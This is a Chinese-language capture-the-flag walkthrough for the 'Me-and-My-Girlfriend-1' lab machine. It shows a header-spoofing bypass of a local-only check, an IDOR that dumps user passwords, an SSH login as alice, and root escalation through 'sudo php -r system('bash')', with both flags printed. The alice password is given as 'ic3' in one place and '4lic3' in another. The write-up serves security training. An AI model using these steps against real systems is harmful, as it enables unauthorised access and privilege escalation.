背景

有两个恋人，即Alice和Bob，这对夫妻本来很浪漫，但是自从Alice在一家私人公司“Ceban Corp”工作以来，爱丽丝对鲍勃的态度发生了一些变化是“隐藏”的，而鲍勃（Bob）寻求您的帮助，以获取爱丽丝（Alice）隐藏的内容并获得对该公司的完全访问权限！

需求

Me-and-My-Girlfriend-1 虚拟机
Kali Linux 2021

复现

调一下kali 设置 root权限

这个是mygirlfrienf 的net 网段在192.168.227.0


Kali的网段也是在192.168.227.0



一共有五个

看下kali的ip地址 192.168.227.128
本机的ip 192.168.227.1

最后找的girlfriend 的IP为192.168.227.133

这里显示让我们本地登录

使用firfox的X-ForWarded插件

在url修改id=xx
http://192.168.227.133/index.php?page=profile&user_id=1
Name Eweuh Tandingan
Username eweuhtandingan
Password skuyatuh
Id=2
Name Aing Maung
Username aingmaung
Password qwerty!!!
Id=3
Name Sunda Tea
Username sundatea
Password indONEsia
Id=4
Name Sedih Aing Mah
Username sedihaingmah
Password cedihhihihi
Id=5
Name Alice Geulis
Username alice
Password ic3
Id=6
Name
Username
Password
Id=7
Name
Username
Password
Id=8
Name
Username
Password
Id=9
Name Abdi Kasep
Username abdikasepak
Password orrrrr
Id=10
Name
Username
Password
Id=11
Name
Username
Password
Id=5 这个应该是ssh连接的账号和密码，根据靶场介绍我们应该要找一个叫做alice的用户
Ssh alice@192.168.227.133 密码 4lic3

ls -alh

ls -l .my_secret/

cat .my_secret/flag1.txt
Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
那接下来就提权吧
查看一下当前用户的sudo能使用那些命令

能用root执行php命令。
sudo php -r “system(‘bash’);”
whoami
Cat flag2.txt

Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}